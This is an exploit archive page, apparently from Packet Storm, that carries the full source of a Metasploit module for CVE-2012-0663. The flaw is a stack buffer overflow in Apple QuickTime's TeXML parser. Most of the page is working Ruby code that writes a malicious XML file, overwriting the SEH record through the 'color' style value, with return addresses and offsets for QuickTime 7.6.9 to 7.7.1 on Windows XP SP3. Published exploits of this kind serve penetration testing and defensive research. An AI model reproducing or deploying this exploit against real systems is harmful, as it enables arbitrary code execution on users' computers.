what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Apple QuickTime TeXML Stack Buffer Overflow

Apple QuickTime TeXML Stack Buffer Overflow
Posted Jun 29, 2012
Authored by sinn3r, Alexander Gavrun, juan vazquez | Site metasploit.com

This Metasploit module exploits a vulnerability found in Apple QuickTime. When handling a TeXML file, it is possible to trigger a stack-based buffer overflow, and then gain arbitrary code execution under the context of the user. The flaw is generally known as a bug while processing the 'transform' attribute, however, that attack vector seems to only cause a TerminateProcess call due to a corrupt stack cookie, and more data will only trigger a warning about the malformed XML file. This Metasploit module exploits the 'color' value instead, which accomplishes the same thing.

tags | exploit, overflow, arbitrary, code execution
systems | apple
advisories | CVE-2012-0663, OSVDB-81934
SHA-256 | c3e73b5fb622e5d0d8dee9cca23a811ec375673bedd92228a5733bc9287c407b

Apple QuickTime TeXML Stack Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Apple QuickTime TeXML Stack Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability found in Apple QuickTime. When handling
a TeXML file, it is possible to trigger a stack-based buffer overflow, and then
gain arbitrary code execution under the context of the user. The flaw is
generally known as a bug while processing the 'transform' attribute, however,
that attack vector seems to only cause a TerminateProcess call due to a corrupt
stack cookie, and more data will only trigger a warning about the malformed XML
file. This module exploits the 'color' value instead, which accomplishes the same
thing.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alexander Gavrun', # Vulnerability Discovery
'sinn3r', # Metasploit Module
'juan vazquez' # Metasploit Module
],
'References' =>
[
[ 'OSVDB', '81934' ],
[ 'CVE', '2012-0663' ],
[ 'BID', '53571' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-095/' ],
[ 'URL', 'http://support.apple.com/kb/HT1222' ]
],
'Payload' =>
{
'DisableNops' => true,
'BadChars' => "\x00\x23\x25\x3c\x3e\x7d"
},
'Platform' => 'win',
'Targets' =>
[
[ 'QuickTime 7.7.1 on Windows XP SP3',
{
'Ret' => 0x66f1bdf8, # POP ESI/POP EDI/RET from QuickTime.qts (7.71.80.42)
'Offset' => 643,
'Max' => 13508
}
],
[ 'QuickTime 7.7.0 on Windows XP SP3',
{
'Ret' => 0x66F1BD66, # PPR from QuickTime.qts (7.70.80.34)
'Offset' => 643,
'Max' => 13508
}
],
[ 'QuickTime 7.6.9 on Windows XP SP3',
{
'Ret' => 0x66801042, # PPR from QuickTime.qts (7.69.80.9)
'Offset' => 643,
'Max' => 13508
}
],
],
'Privileged' => false,
'DisclosureDate' => 'May 15 2012'))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.xml']),
], self.class)
end

def exploit
my_payload = rand_text(target['Offset'])
my_payload << generate_seh_record(target.ret)
my_payload << payload.encoded
my_payload << rand_text(target['Max'] - my_payload.length)

texml = <<-eos
<?xml version="1.0"?>
<?quicktime type="application/x-quicktime-texml"?>

<text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1"
language="eng" timeScale="600"
transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)">
<sample duration="2400" keyframe="true">

<description format="tx3g" displayFlags="ScrollIn"
horizontalJustification="Left"
verticalJustification="Top"
backgroundColor="0%, 0%, 0%, 100%">

<defaultTextBox x="0" y="0" width="176" height="60"/>
<fontTable>
<font id="1" name="Times"/>
</fontTable>

<sharedStyles>
<style id="1">
{font-table: 1} {font-size: 10}
{font-style:normal}
{font-weight: normal}
{color: #{my_payload}%, 100%, 100%, 100%}
</style>
</sharedStyles>
</description>

<sampleData scrollDelay="200"
highlightColor="25%, 45%, 65%, 100%"
targetEncoding="utf8">

<textBox x="10" y="10" width="156" height="40"/>
<text styleID="1">What you need... Metasploit!</text>
<highlight startMarker="1" endMarker="2"/>
<blink startMarker="3" endMarker="4"/>
</sampleData>
</sample>
</text3GTrack>
eos

texml = texml.gsub(/^\t\t/,'')

print_status("Creating '#{datastore['FILENAME']}'.")
file_create(texml)
end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close